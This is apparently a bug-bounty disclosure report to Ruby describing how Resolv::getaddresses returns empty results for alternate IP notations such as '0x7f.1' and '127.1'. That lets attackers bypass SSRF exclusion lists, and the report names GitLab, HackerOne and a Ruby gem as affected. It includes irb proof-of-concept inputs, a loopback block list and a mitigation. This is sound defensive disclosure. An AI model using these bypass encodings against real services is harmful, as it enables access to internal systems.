Resolv::getaddresses bug that can be abused to bypass security measures.
R
Ruby
Submitted None
Actions:
Reported by
edoverflow
Vulnerability Details
Technical details and impact analysis
# Description
`Resolv::getaddresses` is OS-dependent, therefore by playing around with different IP formats one can return blank values. This bug can be abused to bypass exclusion lists often used to protect against SSRF.
| 💻 Machine 1 | 💻 Machine 2 |
|--------------|---------------|
| ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu] | ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu] |
💻 Machine 1
```
irb(main):002:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):003:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):004:0> Resolv.getaddresses("127.000.000.1")
=> ["127.0.0.1"]
```
💻 Machine 2
```
irb(main):008:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):009:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):010:0> Resolv.getaddresses("127.000.000.1")
=> []
```
# Proof of concept
```
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # The bug!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # Bypass
```
# Mitigation
Currently I have been suggesting that the affected vendors stay away from `Resolv::getaddresses` altogether and use the `Socket` class.
```
irb(main):002:0> Resolv.getaddresses("127.1")
=> []
irb(main):003:0> Socket.getaddrinfo("127.1", nil).sample[3]
=> "127.0.0.1"
```
# Affected vendors and gems
By abusing this bug I was able to bypass GitLab, HackerOne and [private_address_check](https://github.com/jtdowney/private_address_check/)'s [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) filters.
The `private_address_check` gem, for instance, relied on `Resolv::getaddresses` in `lib/private_address_check.rb`:
```ruby
def resolves_to_private_address?(hostname)
ips = Resolv.getaddresses(hostname)
ips.any? do |ip|
private_address?(ip)
end
end
```
```
irb(main):001:0> require 'private_address_check'
=> true
irb(main):002:0> PrivateAddressCheck.resolves_to_private_address?("127.1")
=> false # Bypass
```
The author of this gem has provided a [patch](https://github.com/jtdowney/private_address_check/commit/58a0d7fe31de339c0117160567a5b33ad82b46af) for this issue and I can confirm that I am unable to bypass the fix.
GitLab and HackerOne have also been notified and plan on releasing a fix this week.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Violation of Secure Design Principles